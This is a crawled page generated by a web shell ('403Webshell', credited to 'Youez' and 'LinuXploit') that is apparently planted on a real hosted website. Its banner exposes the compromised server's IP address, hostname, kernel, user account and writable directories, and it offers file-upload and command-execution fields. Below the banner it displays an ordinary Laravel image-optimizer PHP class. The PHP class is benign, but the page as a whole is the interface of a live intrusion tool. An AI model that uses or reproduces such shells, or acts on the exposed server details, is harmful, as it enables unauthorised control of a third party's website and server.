403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.223.238.38
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/spatie/laravel-image-optimizer/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/spatie/laravel-image-optimizer/src/OptimizerChainFactory.php
<?php

namespace Spatie\LaravelImageOptimizer;

use Psr\Log\LoggerInterface;
use Spatie\ImageOptimizer\DummyLogger;
use Spatie\ImageOptimizer\Optimizer;
use Spatie\ImageOptimizer\OptimizerChain;
use Spatie\LaravelImageOptimizer\Exceptions\InvalidConfiguration;

class OptimizerChainFactory
{
    public static function create(array $config)
    {
        return (new OptimizerChain())
            ->useLogger(static::getLogger($config))
            ->setTimeout($config['timeout'])
            ->setOptimizers(static::getOptimizers($config));
    }

    protected static function getLogger($config): LoggerInterface
    {
        $configuredLogger = $config['log_optimizer_activity'];

        if ($configuredLogger === true) {
            return app('log');
        }

        if ($configuredLogger === false) {
            return new DummyLogger();
        }

        if (! is_a($configuredLogger, LoggerInterface::class, true)) {
            throw InvalidConfiguration::notAnLogger($configuredLogger);
        }

        return new $configuredLogger;
    }

    protected static function getOptimizers(array $config)
    {
        return collect($config['optimizers'])
          ->mapWithKeys(function (array $options, string $optimizerClass) use ($config) {
              if (! is_a($optimizerClass, Optimizer::class, true)) {
                  throw InvalidConfiguration::notAnOptimizer($optimizerClass);
              }

              // Initialize optimizer class
              $newOptimizerClass = new $optimizerClass();

              if (static::getBinaryPath($config)) {
                  $newOptimizerClass->setBinaryPath(self::getBinaryPath($config));
              }

              $newOptimizerClass->setOptions($options);

              return [$optimizerClass => $newOptimizerClass];
          })
          ->toArray();
    }

    public static function getBinaryPath(array $config): string
    {
        return $config['binary_path'] ?? '';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit